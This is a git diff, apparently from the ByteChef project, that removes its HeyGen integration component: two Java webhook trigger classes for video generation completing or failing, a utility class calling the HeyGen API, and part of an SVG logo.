-import com.bytechef.component.definition.ComponentDsl.ModifiableTriggerDefinition;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.HttpHeaders;
-import com.bytechef.component.definition.TriggerDefinition.HttpParameters;
-import com.bytechef.component.definition.TriggerDefinition.TriggerType;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TriggerDefinition.WebhookMethod;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenVideoGenerationCompletedTrigger {
-
-    public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("videoGenerationCompletedTrigger")
-        .title("Video Generation Completed")
-        .description("Triggers when a video generation completes successfully.")
-        .type(TriggerType.DYNAMIC_WEBHOOK)
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string("video_id"),
-                        string("url"),
-                        string("gif_download_url"),
-                        string("video_share_page_url"),
-                        string("folder_id"),
-                        string("callback_id"))))
-        .webhookEnable(HeyGenVideoGenerationCompletedTrigger::webhookEnable)
-        .webhookDisable(HeyGenVideoGenerationCompletedTrigger::webhookDisable)
-        .webhookRequest(HeyGenVideoGenerationCompletedTrigger::webhookRequest);
-
-    private HeyGenVideoGenerationCompletedTrigger() {
-    }
-
-    protected static WebhookEnableOutput webhookEnable(
-        Parameters inputParameters, Parameters connectionParameters, String webhookUrl,
-        String workflowExecutionId, TriggerContext context) {
-
-        return new WebhookEnableOutput(Map.of(ID, registerWebhook("avatar_video.success", context, webhookUrl)), null);
-    }
-
-    protected static void webhookDisable(
-        Parameters inputParameters, Parameters connectionParameters, Parameters outputParameters,
-        String workflowExecutionId, TriggerContext context) {
-
-        deleteWebhook(context, outputParameters.getString(ID));
-    }
-
-    protected static Object webhookRequest(
-        Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers, HttpParameters parameters,
-        WebhookBody body, WebhookMethod method, Parameters output, TriggerContext context) {
-
-        return getWebhookEventData(body);
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTrigger.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTrigger.java
deleted file mode 100644
index 7ecb702ca87..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTrigger.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.trigger;
-
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.ComponentDsl.trigger;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static com.bytechef.component.heygen.util.HeyGenUtils.deleteWebhook;
-import static com.bytechef.component.heygen.util.HeyGenUtils.getWebhookEventData;
-import static com.bytechef.component.heygen.util.HeyGenUtils.registerWebhook;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableTriggerDefinition;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.HttpHeaders;
-import com.bytechef.component.definition.TriggerDefinition.HttpParameters;
-import com.bytechef.component.definition.TriggerDefinition.TriggerType;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TriggerDefinition.WebhookMethod;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenVideoGenerationFailedTrigger {
-
-    public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("videoGenerationFailedTrigger")
-        .title("Video Generation Failed")
-        .description("Triggers when a video fails to generate.")
-        .type(TriggerType.DYNAMIC_WEBHOOK)
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string("video_id"),
-                        string("msg"),
-                        string("callback_id"))))
-        .webhookEnable(HeyGenVideoGenerationFailedTrigger::webhookEnable)
-        .webhookDisable(HeyGenVideoGenerationFailedTrigger::webhookDisable)
-        .webhookRequest(HeyGenVideoGenerationFailedTrigger::webhookRequest);
-
-    private HeyGenVideoGenerationFailedTrigger() {
-    }
-
-    protected static WebhookEnableOutput webhookEnable(
-        Parameters inputParameters, Parameters connectionParameters, String webhookUrl,
-        String workflowExecutionId, TriggerContext context) {
-
-        return new WebhookEnableOutput(Map.of(ID, registerWebhook("avatar_video.fail", context, webhookUrl)), null);
-    }
-
-    protected static void webhookDisable(
-        Parameters inputParameters, Parameters connectionParameters, Parameters outputParameters,
-        String workflowExecutionId, TriggerContext context) {
-
-        deleteWebhook(context, outputParameters.getString(ID));
-    }
-
-    protected static Object webhookRequest(
-        Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers, HttpParameters parameters,
-        WebhookBody body, WebhookMethod method, Parameters output, TriggerContext context) {
-
-        return getWebhookEventData(body);
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/util/HeyGenUtils.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/util/HeyGenUtils.java
deleted file mode 100644
index cd6696250ba..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/util/HeyGenUtils.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.util;
-
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.NAME;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TEMPLATE_ID;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.exception.ProviderException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenUtils {
-
-    public static void deleteWebhook(TriggerContext context, String webhookId) {
-        context.http(http -> http.delete("https://api.heygen.com/v1/webhook/endpoint.delete"))
-            .queryParameter("endpoint_id", webhookId)
-            .execute();
-    }
-
-    public static List<Option<String>> getFolderIdOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, Context context) {
-
-        List<Option<String>> options = new ArrayList<>();
-        String nextPageToken = null;
-
-        do {
-            Map<String, Map<?, ?>> body = context
-                .http(http -> http.get("https://api.heygen.com/v1/folders"))
-                .queryParameters("limit", 100, "token", nextPageToken)
-                .configuration(responseType(ResponseType.JSON))
-                .execute()
-                .getBody(new TypeReference<>() {});
-
-            Map<?, ?> data = body.get("data");
-
-            if (data.get("folders") instanceof List<?> list) {
-                for (Object o : list) {
-                    if (o instanceof Map<?, ?> map) {
-                        options.add(option((String) map.get(NAME), (String) map.get(ID)));
-                    }
-                }
-            }
-
-            nextPageToken = (String) data.get("token");
-
-        } while (nextPageToken != null);
-
-        return options;
-    }
-
-    public static List<Option<String>> getLanguageOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, Context context) {
-
-        List<Option<String>> options = new ArrayList<>();
-
-        Map<String, Map<?, ?>> body = context
-            .http(http -> http.get("https://api.heygen.com/v2/video_translate/target_languages"))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        Map<?, ?> data = body.get("data");
-
-        if (data.get("languages") instanceof List<?> list) {
-            for (Object language : list) {
-                options.add(option((String) language, (String) language));
-            }
-        }
-
-        return options;
-    }
-
-    public static List<Option<String>> getTemplateIdOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, Context context) {
-
-        List<Option<String>> options = new ArrayList<>();
-
-        Map<String, Map<?, ?>> body = context
-            .http(http -> http.get("https://api.heygen.com/v2/templates"))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        Map<?, ?> data = body.get("data");
-
-        if (data.get("templates") instanceof List<?> list) {
-            for (Object o : list) {
-                if (o instanceof Map<?, ?> map) {
-                    options.add(option((String) map.get(NAME), (String) map.get(TEMPLATE_ID)));
-                }
-            }
-        }
-
-        return options;
-    }
-
-    public static Object getWebhookEventData(WebhookBody body) {
-        Map<String, Object> content = body.getContent(new TypeReference<>() {});
-
-        return content.get("event_data");
-    }
-
-    public static String registerWebhook(String eventType, TriggerContext context, String webhookUrl) {
-        Map<String, Object> body = context.http(http -> http.post("https://api.heygen.com/v1/webhook/endpoint.add"))
-            .body(
-                Body.of(
-                    "url", webhookUrl,
-                    "events", List.of(eventType)))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        if (body.get("data") instanceof Map<?, ?> map) {
-            return (String) map.get("endpoint_id");
-        }
-
-        throw new ProviderException("Failed to subscribe to webhook");
-    }
-
-    private HeyGenUtils() {
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/resources/assets/heygen.svg b/server/libs/modules/components/heygen/src/main/resources/assets/heygen.svg
deleted file mode 100644
index 3aacfea45ea..00000000000
--- a/server/libs/modules/components/heygen/src/main/resources/assets/heygen.svg
+++ /dev/null
@@ -1,1920 +0,0 @@
-<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
-	 width="100%" viewBox="0 0 200 200" enable-background="new 0 0 200 200" xml:space="preserve">
-<path fill="#FDFFFF" opacity="1.000000" stroke="none" 
-	d="
-M111.000000,201.000000 
-	C74.022827,201.000000 37.545647,201.000000 1.034236,201.000000 
-	C1.034236,134.397858 1.034236,67.795700 1.034236,1.096767 
-	C67.560341,1.096767 134.120865,1.096767 200.840698,1.096767 
-	C200.840698,67.666367 200.840698,134.333145 200.840698,201.000000 
-	C171.129318,201.000000 141.314651,201.000000 111.000000,201.000000 
-M24.907078,96.490166 
-	C24.907078,96.490166 25.016737,96.927124 24.771402,97.724632 
-	C24.852581,98.269867 24.933762,98.815094 24.812555,99.408684 
-	C24.812555,99.408684 24.699762,99.372658 24.699762,99.372658 
-	C24.699762,99.372658 24.984129,99.262917 25.226938,99.805092 
-	C25.399382,99.902443 25.571823,99.999786 26.135866,100.747307 
-	C26.975916,101.130676 27.996529,102.035904 28.628304,101.817322 
-	C35.537628,99.426727 42.386215,96.860596 49.764648,94.106857 
-	C49.861488,93.945450 49.958332,93.784042 50.408165,93.505943 
-	C50.624691,93.373795 50.803127,93.202049 51.706470,93.050064 
-	C59.137825,90.328995 66.569183,87.607925 74.715446,84.844833 
-	C77.829369,83.553841 80.943283,82.262848 84.831459,81.155746 
-	C86.531509,80.627480 88.622459,80.553574 89.860558,79.488373 
-	C94.096268,75.844185 98.032410,71.851807 102.548691,67.691986 
-	C102.653419,67.347427 102.758141,67.002869 102.891106,66.295784 
-	C102.891106,66.295784 103.138718,66.029495 103.833389,65.876526 
-	C104.281509,63.264191 104.729630,60.651855 105.006073,57.492229 
-	C104.950043,57.114761 104.894020,56.737297 104.829536,55.802845 
-	C104.589813,55.536053 104.350090,55.269260 103.892059,54.680405 
-	C103.892059,54.680405 103.836159,54.295353 103.943077,53.448250 
-	C103.466026,51.824329 103.136963,50.137608 102.480232,48.589931 
-	C101.223785,45.628929 99.653328,42.795200 98.519905,39.792866 
-	C98.284752,39.169987 99.384247,38.043255 100.081718,37.487015 
-	C100.232285,37.716179 100.430840,37.890762 100.894066,38.490112 
-	C100.926987,38.662342 100.959915,38.834568 101.000999,39.608604 
-	C101.330803,40.073959 101.660614,40.539314 101.999619,40.999874 
-	C101.999619,40.999874 101.992920,41.009293 101.979034,41.742313 
-	C102.587578,42.886990 103.196114,44.031666 103.951447,45.705906 
-	C104.261597,46.138935 104.571739,46.571964 105.063454,47.368984 
-	C105.063454,47.368984 105.116409,47.772285 105.152962,48.279675 
-	C105.375710,48.523491 105.598450,48.767311 106.039734,49.357639 
-	C106.039734,49.357639 106.150299,49.752094 106.061386,50.540237 
-	C107.538391,54.574108 107.375092,59.685875 113.515137,61.280842 
-	C114.344742,62.185005 115.174347,63.089169 116.075005,64.700699 
-	C117.349197,65.483521 118.623390,66.266342 120.383530,67.203171 
-	C120.592072,67.463799 120.800606,67.724434 121.080948,68.696823 
-	C123.056252,69.796814 125.031563,70.896805 127.567871,72.276093 
-	C128.377426,72.936806 129.186996,73.597511 130.274979,74.617126 
-	C130.513275,74.832954 130.793121,74.935493 131.555359,74.985947 
-	C131.555359,74.985947 131.977341,75.127464 132.158279,75.833679 
-	C135.166168,76.499207 138.174042,77.164734 141.946106,77.850342 
-	C142.961136,77.874008 143.976151,77.897675 145.645813,78.016075 
-	C146.084579,78.055237 146.523331,78.094398 147.439209,78.696121 
-	C149.622131,79.102058 151.805069,79.507988 154.789871,80.006851 
-	C157.171570,80.367722 159.553284,80.728600 161.975006,81.055779 
-	C161.975006,81.055779 161.934921,81.026672 162.146408,81.497894 
-	C162.428146,81.687111 162.709900,81.876328 163.507034,82.629730 
-	C166.003296,83.077530 168.499542,83.525322 171.724854,83.993690 
-	C174.774384,83.731194 175.913300,82.269096 173.431244,80.029655 
-	C167.405136,74.592583 161.137177,69.423561 154.398361,63.771049 
-	C149.931702,60.507481 145.465042,57.243908 140.491272,53.558296 
-	C136.668961,50.684296 132.846664,47.810295 128.737106,44.470474 
-	C128.235443,44.283356 127.733772,44.096237 126.941948,43.448906 
-	C126.647911,43.242912 126.353882,43.036919 125.744522,42.298687 
-	C124.869110,41.818245 123.993698,41.337803 122.772369,40.412296 
-	C122.269211,40.172760 121.766060,39.933224 120.893150,39.144062 
-	C117.279724,36.381279 113.666298,33.618492 109.896378,30.215277 
-	C108.964630,29.775911 108.032875,29.336546 106.935440,28.299648 
-	C106.315849,27.840981 105.696259,27.382311 104.900726,26.260107 
-	C102.913849,25.755119 100.926979,25.250132 98.242210,24.833456 
-	C97.547333,24.922806 96.852448,25.012154 95.536819,25.467424 
-	C94.708244,28.774328 95.356987,31.473068 98.826668,33.561840 
-	C98.896042,33.717525 98.965408,33.873211 98.960388,34.506546 
-	C98.960388,34.506546 98.989326,34.989544 98.383842,35.259090 
-	C97.265900,34.374123 95.961075,33.643700 95.072449,32.569099 
-	C93.625397,30.819214 92.450317,28.844435 90.883408,26.729742 
-	C90.883408,26.729742 90.761391,26.387810 90.813721,25.623260 
-	C87.721008,22.652943 85.305695,24.473831 82.535370,26.983032 
-	C82.535370,26.983032 82.051819,27.026819 81.280983,26.967722 
-	C79.537781,28.334972 77.794586,29.702223 76.003242,31.003532 
-	C76.003242,31.003532 76.071663,31.048075 75.576157,31.160837 
-	C75.382660,31.426323 75.189163,31.691809 75.004059,32.004749 
-	C75.004059,32.004749 74.956970,31.994520 74.503616,32.144928 
-	C74.216499,32.325459 74.041122,32.582302 73.989243,32.986137 
-	C73.989243,32.986137 73.921082,32.964020 73.196121,32.960964 
-	C70.612206,36.104843 68.028297,39.248718 65.207977,42.194508 
-	C65.207977,42.194508 65.402428,42.433922 64.647049,42.244122 
-	C64.154053,43.217087 63.661057,44.190052 63.070953,44.982208 
-	C63.070953,44.982208 63.183369,45.157642 62.465733,45.144211 
-	C61.972485,46.087765 61.479233,47.031319 60.857258,48.446083 
-	C60.702671,48.759354 60.456120,48.959114 59.616982,49.157879 
-	C59.367924,49.387627 59.118870,49.617378 58.217758,50.047726 
-	C57.801220,51.014172 57.384682,51.980614 57.004593,52.990776 
-	C57.004593,52.990776 56.949253,52.977570 56.499413,53.138550 
-	C56.228306,53.318005 56.013088,53.549435 55.341602,54.170605 
-	C54.943893,54.853294 54.546181,55.535980 54.085869,56.083946 
-	C54.085869,56.083946 54.203411,56.174797 53.495701,56.126728 
-	C52.940296,57.034809 52.384892,57.942890 51.447983,59.122379 
-	C51.205715,59.327518 51.014256,59.572388 50.204292,60.017471 
-	C48.118340,62.981991 46.032387,65.946510 43.987370,68.980354 
-	C43.987370,68.980354 43.909416,68.960228 43.473671,69.177094 
-	C43.202579,69.387840 43.043690,69.663307 42.850445,70.459274 
-	C42.697338,70.763062 42.457348,70.962090 41.428635,71.095062 
-	C41.038361,71.813789 40.648090,72.532516 40.125637,73.248154 
-	C40.125637,73.248154 40.244869,73.191017 39.647945,73.361229 
-	C39.507763,73.732697 39.367580,74.104156 39.096592,74.963844 
-	C38.756962,75.319893 38.417328,75.675941 37.566639,76.251633 
-	C37.412952,76.577095 37.259266,76.902550 36.895557,77.759125 
-	C36.504223,78.171577 36.112888,78.584030 35.364456,79.179146 
-	C35.146824,79.355179 35.009281,79.580200 34.731804,80.344788 
-	C34.444221,80.548332 34.156643,80.751884 33.453743,81.145119 
-	C33.194553,81.332603 33.030495,81.582535 32.797897,82.368935 
-	C32.551090,82.585411 32.304283,82.801895 31.553234,83.237923 
-	C31.398312,83.558807 31.243387,83.879700 30.835745,84.816422 
-	C29.215620,87.543571 27.595495,90.270729 25.505772,93.350334 
-	C25.404400,93.910019 25.303030,94.469711 24.971567,95.534477 
-	C25.010138,95.715408 25.048708,95.896347 24.907078,96.490166 
-M175.156448,105.582565 
-	C175.156448,105.582565 175.170013,105.139198 175.632172,104.746986 
-	C175.868576,104.189354 176.104996,103.631729 176.985779,102.881119 
-	C177.104004,101.255638 177.222229,99.630165 177.256088,97.251564 
-	C177.286728,96.495705 177.317383,95.739845 177.764252,94.406471 
-	C177.429581,92.726791 177.457596,89.783386 176.703033,89.566849 
-	C170.528397,87.794838 164.207916,86.531105 157.284744,85.091980 
-	C156.860184,85.017326 156.435608,84.942673 155.549469,84.385239 
-	C154.678055,84.274582 153.806641,84.163925 152.477158,84.023964 
-	C152.477158,84.023964 152.038116,83.890129 151.919342,83.255386 
-	C150.931198,83.199730 149.943039,83.144073 148.303284,83.075485 
-	C147.875778,83.001320 147.448257,82.927155 146.582108,82.386528 
-	C145.959763,82.328140 145.337418,82.269745 144.044510,82.185722 
-	C143.387085,82.059006 142.729645,81.932281 141.890060,81.144730 
-	C140.262360,81.034340 138.634659,80.923943 136.253967,80.862068 
-	C135.499893,80.863861 134.745819,80.865654 133.468597,80.377060 
-	C129.525070,79.429474 127.163368,80.688889 126.815460,85.460861 
-	C126.628929,85.742989 126.372429,85.928261 125.349533,86.061745 
-	C124.576492,87.063309 123.803459,88.064880 122.802216,89.713943 
-	C121.146683,95.187309 119.491150,100.660675 117.652061,106.957657 
-	C117.732086,108.637634 117.812111,110.317604 117.753319,112.403297 
-	C117.753319,112.403297 117.833977,112.825310 117.492256,113.587975 
-	C117.450546,119.882317 117.310890,126.177849 117.388069,132.470734 
-	C117.536133,144.541641 117.807274,156.611053 118.037445,169.284760 
-	C118.244820,169.616119 118.452187,169.947464 118.742455,170.853180 
-	C118.946854,171.176865 119.151253,171.500549 119.559357,172.437302 
-	C122.138557,172.677170 125.107384,173.826553 127.199821,172.930161 
-	C129.906311,171.770752 132.388992,169.314392 134.142181,166.832993 
-	C143.720215,153.276520 153.079865,139.564926 162.439484,125.855400 
-	C166.163010,120.401367 169.693695,114.815697 173.718033,108.988899 
-	C173.831360,108.678825 173.944702,108.368752 174.513229,107.671051 
-	C174.665131,107.108879 174.817017,106.546715 175.156448,105.582565 
-M50.367092,141.530670 
-	C51.174686,141.770248 51.982281,142.009811 52.938602,142.922867 
-	C55.012180,144.614380 57.085758,146.305893 59.370884,148.618637 
-	C61.897045,150.437576 64.423210,152.256531 67.272552,154.649826 
-	C68.837555,155.765305 70.402557,156.880783 72.283180,158.586639 
-	C74.497192,160.096268 76.711205,161.605911 79.211731,163.612152 
-	C79.812019,164.066284 80.412308,164.520416 81.362411,165.521317 
-	C83.245346,166.964844 85.128288,168.408371 87.544777,170.243423 
-	C88.996758,171.176956 90.448738,172.110489 92.282677,173.650085 
-	C97.158363,177.189072 102.552246,178.427353 108.075394,175.857315 
-	C113.559731,173.305359 113.292488,168.002701 113.037277,162.952637 
-	C112.970718,161.635452 112.929710,160.316986 112.968742,158.191406 
-	C112.713539,156.109146 112.458336,154.026901 112.231621,151.026917 
-	C112.210014,146.663544 112.188408,142.300171 112.194618,137.335052 
-	C112.242722,136.935547 112.290825,136.536026 112.761909,135.408478 
-	C112.474968,128.271912 112.188019,121.135345 111.983292,113.177635 
-	C113.865761,108.078247 112.916214,103.382744 109.706810,98.351791 
-	C107.848457,97.132309 105.990112,95.912827 104.142204,93.974037 
-	C103.053246,92.627701 102.221672,90.862778 100.830750,90.007545 
-	C94.829666,86.317688 88.363464,85.948929 81.781006,88.263542 
-	C72.892868,91.388916 64.037247,94.607925 55.188446,97.843567 
-	C50.726189,99.475243 46.309715,101.232101 41.213413,103.251907 
-	C38.800549,103.893501 36.387684,104.535095 33.253136,105.117790 
-	C32.479469,105.340279 31.575537,105.376793 30.951992,105.813583 
-	C23.555361,110.994896 24.488102,120.722572 33.018795,127.980942 
-	C33.018795,127.980942 33.072575,127.966339 33.331882,128.580154 
-	C35.885197,130.387756 38.438507,132.195374 41.578175,134.249191 
-	C42.358570,134.549484 43.138966,134.849777 44.216049,135.697800 
-	C45.428268,136.821243 46.640488,137.944687 48.161327,139.573959 
-	C48.769150,140.053375 49.376972,140.532791 50.367092,141.530670 
-z"/>
-<path fill="#FBA0FE" opacity="1.000000" stroke="none" 
-	d="
-M33.974815,105.176682 
-	C36.387684,104.535095 38.800549,103.893501 41.977951,103.117371 
-	C44.346321,102.750961 45.989483,102.668831 47.546783,102.259811 
-	C52.713951,100.902664 57.850216,99.427856 63.340454,98.034653 
-	C67.742477,100.137718 65.093903,101.544540 63.121399,102.794708 
-	C61.556206,103.786713 59.795944,104.470940 57.368248,105.661659 
-	C59.863636,107.265182 61.478806,108.303085 63.679234,109.717072 
-	C60.053024,111.056076 56.704964,111.373657 54.770226,113.193665 
-	C50.435394,117.271423 46.729610,122.035851 42.936634,126.659271 
-	C41.967594,127.840469 41.628807,129.538696 40.999275,131.000641 
-	C40.998093,131.001892 40.986996,131.012863 40.629044,130.974106 
-	C37.871590,129.945679 35.472080,128.956009 33.072575,127.966339 
-	C33.072575,127.966339 33.018795,127.980942 33.012016,127.587433 
-	C31.926998,125.190186 31.000088,123.085007 29.738962,121.203880 
-	C27.124365,117.303879 27.233730,112.810036 30.295496,109.231049 
-	C31.481350,107.844872 32.746037,106.526138 33.974815,105.176682 
-z"/>
-<path fill="#F2A4FF" opacity="1.000000" stroke="none" 
-	d="
-M47.852707,139.068146 
-	C46.640488,137.944687 45.428268,136.821243 44.186150,135.144012 
-	C44.437325,134.059952 44.718395,133.529709 45.266922,132.785736 
-	C47.332851,130.063644 48.714005,127.051224 51.013180,125.147560 
-	C56.478184,120.622658 62.288425,116.493805 68.126038,112.445564 
-	C74.316811,108.152397 80.700340,104.137199 86.995453,100.371376 
-	C86.193977,102.118698 85.401184,103.497856 84.598450,104.871201 
-	C83.403130,106.916183 82.200806,108.957069 80.853165,111.302567 
-	C76.392090,115.108917 71.998528,118.519539 67.809219,122.164902 
-	C66.288727,123.487976 65.256126,125.371750 63.809399,127.269844 
-	C59.170292,130.920471 54.622223,134.215317 52.666092,140.001617 
-	C51.888966,140.000229 51.444893,139.999664 50.783356,139.730759 
-	C49.661495,139.330994 48.757099,139.199570 47.852707,139.068146 
-z"/>
-<path fill="#F0ACFC" opacity="1.000000" stroke="none" 
-	d="
-M81.001465,110.999695 
-	C82.200806,108.957069 83.403130,106.916183 84.598450,104.871201 
-	C85.401184,103.497856 86.193977,102.118698 87.315247,100.210320 
-	C88.470833,98.489952 89.302383,97.301399 90.621994,95.415260 
-	C84.652290,95.057205 79.710831,95.236511 74.970894,94.344734 
-	C70.087532,93.425949 66.621132,95.603333 62.998329,97.998169 
-	C57.850216,99.427856 52.713951,100.902664 47.546783,102.259811 
-	C45.989483,102.668831 44.346321,102.750961 42.307518,102.957596 
-	C46.309715,101.232101 50.726189,99.475243 55.188446,97.843567 
-	C64.037247,94.607925 72.892868,91.388916 81.781006,88.263542 
-	C88.363464,85.948929 94.829666,86.317688 100.830750,90.007545 
-	C102.221672,90.862778 103.053246,92.627701 104.066254,94.734093 
-	C104.327789,97.996971 104.665268,100.499786 105.002495,103.381737 
-	C104.163544,104.735107 106.751022,107.828102 102.993484,106.617996 
-	C101.899338,103.586929 102.219803,98.883018 97.569893,100.534363 
-	C93.951500,101.819374 90.919235,104.736946 87.599670,106.887589 
-	C85.425011,108.296478 83.202530,109.631561 81.001465,110.999695 
-M78.618332,92.442886 
-	C82.312965,92.256241 86.022079,92.197258 89.690674,91.781097 
-	C90.475700,91.692047 91.113838,90.308014 91.819649,89.520561 
-	C90.770615,89.094727 89.572243,88.108856 88.698868,88.341743 
-	C85.249977,89.261398 81.903030,90.563393 78.618332,92.442886 
-z"/>
-<path fill="#2AE3C5" opacity="1.000000" stroke="none" 
-	d="
-M177.348022,94.983986 
-	C177.317383,95.739845 177.286728,96.495705 177.174240,97.955238 
-	C176.785156,99.511375 176.477905,100.363831 176.108017,100.764114 
-	C176.022141,98.209442 175.998917,96.106934 175.747635,93.723335 
-	C172.481674,93.325676 169.419373,92.913635 166.411591,93.161934 
-	C161.922684,93.532509 157.472198,94.368454 152.562088,95.003662 
-	C147.483261,95.968826 142.793030,96.734116 138.228714,97.965996 
-	C134.269043,99.034683 130.517700,100.880180 126.554237,101.928505 
-	C122.226311,103.073204 119.248238,104.916077 120.004807,110.375626 
-	C119.997070,111.498169 119.992058,112.246529 119.745773,112.996353 
-	C119.504501,112.997818 119.021347,112.999313 118.897507,112.768494 
-	C118.479820,112.357635 118.185982,112.177605 117.892136,111.997581 
-	C117.812111,110.317604 117.732086,108.637634 117.795502,106.159821 
-	C119.286423,102.123711 120.501755,98.820129 122.052437,95.682266 
-	C122.601357,94.571495 123.967896,93.864769 125.249634,93.183960 
-	C127.137550,94.055786 128.803268,95.398575 130.323959,95.250633 
-	C134.837326,94.811577 139.406021,94.168526 143.744598,92.894943 
-	C149.623016,91.169334 155.307907,88.784416 161.410339,86.719330 
-	C162.175797,86.878105 162.606720,86.999870 163.169525,87.319702 
-	C163.840790,87.442757 164.380173,87.367744 165.286713,87.299522 
-	C170.238129,88.820335 176.460297,87.839638 177.348022,94.983986 
-z"/>
-<path fill="#D0B5FE" opacity="1.000000" stroke="none" 
-	d="
-M66.949371,154.075470 
-	C64.423210,152.256531 61.897045,150.437576 59.616409,148.314163 
-	C61.241085,148.339798 62.620239,148.669907 64.162476,149.312393 
-	C65.181503,149.935669 66.049805,150.542633 66.891350,150.507584 
-	C71.144402,150.330399 74.262245,148.328278 77.611961,145.492493 
-	C84.128128,139.976074 91.511238,135.469254 98.628784,130.683350 
-	C102.652153,127.977989 106.861504,125.549225 110.992447,123.445892 
-	C110.991455,126.593155 110.985107,129.290405 110.613556,131.985657 
-	C108.826996,131.896729 107.064690,131.229309 106.045784,131.827698 
-	C102.448547,133.940384 99.183464,136.609116 95.651741,138.844727 
-	C86.477577,144.652039 78.503471,152.748672 66.949371,154.075470 
-z"/>
-<path fill="#4BD867" opacity="1.000000" stroke="none" 
-	d="
-M50.055183,93.622635 
-	C49.958332,93.784042 49.861488,93.945450 49.422852,93.899277 
-	C49.049515,93.469688 49.017975,93.247673 48.999840,92.643921 
-	C53.566078,89.050911 57.997086,85.644913 62.713123,82.694511 
-	C66.044304,80.610489 69.833328,79.274307 73.292732,77.376053 
-	C81.899765,72.653168 90.435204,67.799789 99.382408,62.999588 
-	C100.531357,63.010464 101.297279,63.020557 102.011177,63.378937 
-	C98.309082,67.828247 94.659019,71.929260 90.849487,75.707809 
-	C88.079559,72.631294 85.682289,71.059769 83.862961,76.163185 
-	C83.578514,76.961082 82.244957,77.913177 81.410797,77.899841 
-	C76.559074,77.822273 74.655922,80.638794 74.000542,84.886864 
-	C66.569183,87.607925 59.137825,90.328995 51.220608,92.871086 
-	C50.508224,93.002289 50.281704,93.312462 50.055183,93.622635 
-z"/>
-<path fill="#C7B6FE" opacity="1.000000" stroke="none" 
-	d="
-M67.110962,154.362640 
-	C78.503471,152.748672 86.477577,144.652039 95.651741,138.844727 
-	C99.183464,136.609116 102.448547,133.940384 106.045784,131.827698 
-	C107.064690,131.229309 108.826996,131.896729 110.621185,132.387665 
-	C110.994576,133.862778 110.995148,134.933823 110.995216,136.334747 
-	C110.994064,137.104248 110.993431,137.543884 110.991074,138.235596 
